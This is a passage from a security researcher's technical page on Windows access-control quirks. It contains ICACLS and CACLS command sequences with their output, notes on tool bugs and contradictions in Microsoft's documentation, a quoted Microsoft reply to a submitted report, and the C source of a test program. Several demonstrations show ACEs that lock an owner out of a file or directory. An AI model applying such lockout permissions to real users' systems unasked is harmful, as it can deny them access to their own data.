1 file(s) copied. Step 1: remove all inherited access permissions from file 'Quirk16f.tmp' processed file: Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI" Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp' processed file: Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI" Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files Step 3: add access permissions to file 'Quirk16f.tmp' processed file: Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI(D;;;;;OW)(A;;WD;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;;;;OW)" Quirk16f.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\Stefan:(WDAC) AMNESIAC\None:(S) AMNESIAC\Stefan:(Rc) AMNESIAC\None:(D) OWNER RIGHTS: Successfully processed 1 files; Failed processing 0 files Step 4: remove access permissions from file 'Quirk16f.tmp' processed file: Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp Access denied Quirk16f.tmp: Access denied Successfully processed 0 files; Failed processing 1 files Step 5: delete file 'Quirk16f.tmp'Note:
ICACLs.exe
does
not add inheritable
ACEs to files, but
discards them silently, reporting success.
Ouch¹: ICACLs.exe
converts its access permissions
AS
alias
ACCESS_SYSTEM_SECURITY
and
MA
alias
MAXIMUM_ALLOWED
to 0 alias
NO_ACCESS
!
Ouch²: ICACLs.exe
converts its access permission D
into
the compound access mask
SD
alias
STANDARD_DELETE
plus
SYNCHRONIZE
, and displays this
compound access mask 0x110000
as its
access permission D
too!
Note: ICACLs.exe
converts the
well-known SIDs
S-1-3-0
alias
CREATOR OWNER
,
S-1-3-1
alias
CREATOR GROUP
,
S-1-3-2
alias
CREATOR OWNER SERVER
, and
S-1-3-3
alias
CREATOR GROUP SERVER
into the
object’s effective user and (primary) group
SIDs.
Ouch³: ICACLs.exe
displays the access mask 0 alias
NO_ACCESS
of the
ACE
(D;;;;;OW)
as (S)
alias
SYNCHRONIZE
!
Note: both ICACLs.exe
and
CACLs.exe
fail (expected)
when the ACE
(D;;;;;OW)
with access mask 0 alias
NO_ACCESS
is present in the
DACL;
it overrides the implicit RC
alias
READ_CONTROL
and
WDAC
alias
WRITE_DAC
access rights granted to
the object’s owner and has the same effect as the
ACE
(A;;;;;OW)
.
The TechNet article Security Identifiers Technical Overview specifies:
The following table lists the universal well-known SIDs.AD DS: Owner RightsUniversal well-known SIDs
Value Universal Well-Known SID Identifies … … … S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.
MKDIR Quirk16d.tmp ECHO Step A: remove all inherited access permissions from directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Inheritance:R CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Deny *S-1-3-4:(AS,MA) /Grant *S-1-3-3:(CI)(RC,WDAC) /Grant *S-1-3-2:(OI)(RD,WD) /Grant *S-1-3-1:(CI)(IO)(AS) /Grant *S-1-3-0:(OI)(IO)(MA) CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step C: (attempt to) delete directory 'Quirk16d.tmp' RMDIR Quirk16d.tmp ECHO Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Remove:g *S-1-3-3 /Remove:g *S-1-3-2 /Remove:g *S-1-3-1 /Remove:g *S-1-3-0 CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step E: create file 'Quirk16d.tmp\Quirk16f.tmp' COPY NUL: Quirk16d.tmp\Quirk16f.tmp ECHO Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp' ICACLS.EXE Quirk16d.tmp\Quirk16f.tmp CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S ECHO Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp' ERASE Quirk16d.tmp\Quirk16f.tmp ECHO Step H: add access permissions to directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-1:(AD) /Grant *S-1-3-0:(S) CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S ECHO Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp' ERASE Quirk16d.tmp\Quirk16f.tmp ECHO Step J: remove access permissions from directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Remove:g "%USERNAME%" CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp' MKDIR Quirk16d.tmp\Quirk16d.tmp ECHO Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp' RMDIR Quirk16d.tmp\Quirk16d.tmp ECHO Step M: (attempt to) delete directory 'Quirk16d.tmp' RMDIR Quirk16d.tmp ECHO Step N: modify access permissions of directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-0:(S) /Remove:g None CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step O: delete directory 'Quirk16d.tmp' RMDIR Quirk16d.tmpNote: the command lines can be copied and pasted as block into a Command Processor window.
Step A: remove all inherited access permissions from directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI" Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;OIIO;0x2000000;;;CO)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;OIIO;CCDC;;;S-1-3-2)(A;CIIO;0x1000000;;;CG)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)(A;CIIO;RCWD;;;S-1-3-3)" Quirk16d.tmp OWNER RIGHTS:(DENY)(S) CREATOR OWNER:(OI)(IO)(MA) AMNESIAC\Stefan:(RD,WD) CREATOR OWNER SERVER:(OI)(IO)(RD,WD) CREATOR GROUP:(CI)(IO)(AS) AMNESIAC\None:(Rc,WDAC) CREATOR GROUP SERVER:(CI)(IO)(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files Step C: (attempt to) delete directory 'Quirk16d.tmp' Access denied Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk16d.tmp AMNESIAC\Stefan:(RD,WD,AD) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files Step E: create file 'Quirk16d.tmp\Quirk16f.tmp' 1 file(s) copied. Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp' Quirk16d.tmp\Quirk16f.tmp AMNESIAC\Stefan:(F) NT AUTHORITY\SYSTEM:(F) The mapping between account names and security IDs was done. (RX) Successfully processed 1 files; Failed processing 0 files Access denied Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp' Could Not Find C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp Step H: add access permissions to directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk16d.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\Stefan:(AD) AMNESIAC\None:(S) AMNESIAC\Stefan:(RD,WD) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp "D:AI(A;;FA;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;FA;;;SY)(A;;0x1200a9;;;S-1-5-5-0-231840)" Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp' Step J: remove access permissions from directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk16d.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\None:(S) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp' Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp' Step M: (attempt to) delete directory 'Quirk16d.tmp' Access denied Step N: modify access permissions of directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp Access denied Quirk16d.tmp: Access denied Successfully processed 0 files; Failed processing 1 files Step O: delete directory 'Quirk16d.tmp'Ouch⁴:
ICACLs.exe
adds
inheritable ACEs
with the invalid access masks
AS
alias
ACCESS_SYSTEM_SECURITY
and
MA
alias
MAXIMUM_ALLOWED
to
DACLs!
Note: without an inheritable ACE from its parent object the default security descriptor from the process’s access token is applied to a new object.
Ouch⁵: both
CACLs.exe
and the internal
Del
alias
Erase
command of the Command Processor fail
without SYNCHRONIZE
access
permission to the parent directory of the filesystem object to
access!
Note: both ICACLs.exe
and
CACLs.exe
fail (expected)
when the ACE
(D;;;;;OW)
with access mask 0 alias
NO_ACCESS
is present in the
DACL;
it overrides the implicit RC
alias
READ_CONTROL
and
WDAC
alias
WRITE_DAC
access rights granted to
the object’s owner and has the same effect as the
ACE
(A;;;;;OW)
.
Ouch⁶: the internal
Rd
alias
Rmdir
command of the Command Processor
succeeds despite the missing SD
alias STANDARD_DELETE
access
permission!
STANDARD_DELETE
access permission as
well as to deny (un)intentionally any access to (filesystem) objects
via the ACCESS_SYSTEM_SECURITY
and
MAXIMUM_ALLOWED
access permissions!
They replied with the following statements:
Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.
CreateDirectory()
and
CreateFile()
are documented in the
MSDN as
follows:
Creates a new directory. If the underlying file system supports security on files and directories, the function applies a specified security descriptor to the new directory.[…]
[…]BOOL CreateDirectory( LPCTSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes );
lpSecurityAttributes
A pointer to a SECURITY_ATTRIBUTES structure. The lpSecurityDescriptor member of the structure specifies a security descriptor for the new directory. […]
Creates or opens a file or I/O device. […]The[…]BOOL CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
lpSecurityAttributes
A pointer to a SECURITY_ATTRIBUTES structure that contains two separate but related data members: an optional security descriptor, […]
The lpSecurityDescriptor member of the structure specifies a SECURITY_DESCRIPTOR for a file or device. […]
SECURITY_ATTRIBUTES
and
SECURITY_DESCRIPTOR
structures are documented as follows:
[…]typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle; } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
lpSecurityAttributes
A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object. […]
A security descriptor includes information that specifies the following components of an object's security:File Management Functions Directory Management Functions The Win32 functions
- An owner security identifier (SID)
- A primary group SID
- A discretionary access control list (DACL)
- A system access control list (SACL)
- Qualifiers for the preceding items
DeleteFile()
,
DeleteFileTransacted()
,
MoveFileEx()
,
MoveFileWithProgress()
,
RemoveDirectory()
and
ReplaceFile()
are documented in the
MSDN as
follows:
Deletes an existing file.[…]
[…]BOOL DeleteFile( LPCTSTR lpFileName );
lpFileName
The name of the file to be deleted.
[…]
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
Moves an existing file or directory, including its children, with various move options.Oops: the highlighted sentences above and below but contradict the linked MSDN article File Security and Access Rights by 5÷1![…]
[…]BOOL MoveFileEx( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, DWORD dwFlags );
lpExistingFileName
The current name of the file or directory on the local computer.
[…]
lpNewFileName
The new name of the file or directory on the local computer.
[…]
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and get all the access you request on the handle that is returned to you at the time that you create the file. If you request delete permission at the time you create the file, you can delete or rename the file with that handle but not with any other handle. For more information, see File Security and Access Rights.
Moves a file or directory, including its children. You can provide a callback function that receives progress notifications.[…]
[…]BOOL MoveFileWithProgress( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, LPPROGRESS_ROUTINE lpProgressRoutine, LPVOID lpData, DWORD dwFlags );
lpExistingFileName
The current name of the file or directory on the local computer.
[…]
lpNewFileName
The new name of the file or directory on the local computer.
[…]
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
Deletes an existing empty directory.[…]
[…]BOOL RemoveDirectory( LPCTSTR lpPathName );
lpPathName
The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
RemoveDirectory()
but fails to delete empty directories created with the same access
rights as files!
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the DACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
Create the text file quirk17.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#ifndef _WIN64
#pragma intrinsic(memcmp)
#else
#pragma function(memcmp)
int memcmp(char const *left, char const *right, size_t count)
{
size_t index;
int delta;
for (index = 0; index < count; index++)
if (delta = left[index] - right[index])
return delta;
return 0;
}
#endif
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct _acl
{
ACL acl;
ACE ace;
} acl = {{ACL_REVISION, 0, sizeof(acl), 1, 0},
#if 0 // (A;NP;FA;;;AU)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
#else // (A;NP;SD;;;OW)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
DELETE,
{SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
#endif
dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
#ifndef QUIRKS // (A;NP;0x1f0000;;;OW)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
#elif QUIRKS == 0 // (A;NP;FA;;;AU)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
#elif QUIRKS == 1 // (A;NP;0x1f0000;;;S-1-5-15)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_THIS_ORGANIZATION_RID}}},
#elif QUIRKS == 2 // (A;NP;FA;;;PS)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_PRINCIPAL_SELF_RID}}},
#elif QUIRKS == 3 // (A;NP;0x1f0000;;;S-1-5-1000)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_OTHER_ORGANIZATION_RID}}},
#elif QUIRKS == 4 // (A;NP;0x3000000;;;IU)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
ACCESS_SYSTEM_SECURITY | MAXIMUM_ALLOWED,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_INTERACTIVE_RID}}},
#else // NOTE: construct an INVALID DACL!
{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}},
#endif
sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
// (ML;;NRNWNX;;;ME)
{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
#ifdef QUIRKS
SE_DACL_PRESENT | SE_DACL_PROTECTED,
#else // BUG: CreateFile*() and CreateDirectory*() fail with ERROR_PRIVILEGE_NOT_HELD when a "mandatory label" is present!
SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_SACL_PRESENT | SE_SACL_PROTECTED,
#endif
(SID *) NULL,
(SID *) NULL,
#ifdef QUIRKS
(ACL *) NULL,
#else
&sacl.acl,
#endif
&dacl.acl};
const SECURITY_ATTRIBUTES sa = {sizeof(sa),
&sd,
FALSE};
const WCHAR szName[] = L"Quirk17.tmp";
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SECURITY_DESCRIPTOR *lpSD;
ACL *lpDACL;
LPWSTR lpSDDL;
DWORD dwError;
DWORD dwFile;
HANDLE hFile;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"Using security descriptor \'%ls\' to create file and directory \'%ls\'\n",
lpSDDL, szName);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
hFile = CreateFile(szName,
FILE_WRITE_DATA | READ_CONTROL,
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
&sa,
CREATE_NEW,
#if 0
FILE_FLAG_DELETE_ON_CLOSE,
#else
FILE_ATTRIBUTE_NORMAL,
#endif
(HANDLE) NULL);
if (hFile == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateFile() returned error %lu\n",
dwError = GetLastError());
else
{
dwError = GetSecurityInfo(hFile,
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
&lpDACL,
(ACL **) NULL,
&lpSD);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"GetSecurityInfo() returned error %lu\n",
dwError);
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"File \'%ls\' created with security descriptor \'%ls\'\n",
szName, lpSDDL);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
PrintConsole(hConsole,
L"DACL of file differs from original DACL!\n");
if (LocalFree(lpSD) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (!WriteFile(hFile,
L"\xFEFF", // UTF-16LE byte order mark
sizeof(L'\xFEFF'),
&dwFile,
(LPOVERLAPPED) NULL))
PrintConsole(hConsole,
L"WriteFile() returned error %lu\n",
dwError = GetLastError());
else
if (dwFile != sizeof(L'\xFEFF'))
PrintConsole(hConsole,
L"WriteFile() failed, %lu of %lu bytes written\n",
dwFile, sizeof(L'\xFEFF'));
if (!CloseHandle(hFile))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!DeleteFile(szName))
{
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
if (dwError == ERROR_ACCESS_DENIED)
{
dwError = SetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
(SID *) NULL,
(SID *) NULL,
&acl.acl,
(ACL *) NULL);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"SetNamedSecurityInfo() returned error %lu\n",
dwError);
else
if (!DeleteFile(szName))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
dwError = ERROR_ACCESS_DENIED;
}
}
}
if (!CreateDirectory(szName,
&sa))
PrintConsole(hConsole,
L"CreateDirectory() returned error %lu\n",
dwError = GetLastError());
else
{
dwError = GetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
&lpDACL,
(ACL **) NULL,
&lpSD);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"GetNamedSecurityInfo() returned error %lu\n",
dwError);
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"Directory \'%ls\' created with security descriptor \'%ls\'\n",
szName, lpSDDL);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
PrintConsole(hConsole,
L"DACL of directory differs from original DACL!\n");
if (LocalFree(lpSD) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (!RemoveDirectory(szName))
{
PrintConsole(hConsole,
L"RemoveDirectory() returned error %lu\n",
dwError = GetLastError());
if (dwError == ERROR_ACCESS_DENIED)
{
dwError = SetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
(SID *) NULL,
(SID *) NULL,
&acl.acl,
(ACL *) NULL);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"SetNamedSecurityInfo() returned error %lu\n",
dwError);
else
if (!RemoveDirectory(szName))
PrintConsole(hConsole,
L"RemoveDirectory() returned error %lu\n",
dwError = GetLastError());
dwError = ERROR_ACCESS_DENIED;
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk17.exe
from the
source file quirk17.c
created in step 1., with the
preprocessor macro QUIRKS
defined as 0 or 1:
SET CL=/GAFy /Oisy /W4 /wd4090 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=0 quirk17.c advapi32.lib kernel32.lib user32.lib/D (Preprocessor Definitions) For details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk17.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk17.exe
built in
step 2. to verify its proper function:
.\quirk17.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;FA;;;AU)' to create file and directory 'Quirk17.tmp' File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)' Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)' 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.A file as well as a directory created (for example) with only the DACL
D:P
(A;NP;FA;;;AU)
or
D:P
(A;NP;0x1f0000;;;S-1-5-15)
can be deleted.
Build the console application quirk17.exe
a second time
from the source file quirk17.c
created in step 1.,
now with the preprocessor macro QUIRKS
defined as 2 or
3:
CL.EXE /DQUIRKS=2 quirk17.c advapi32.lib kernel32.lib user32.lib
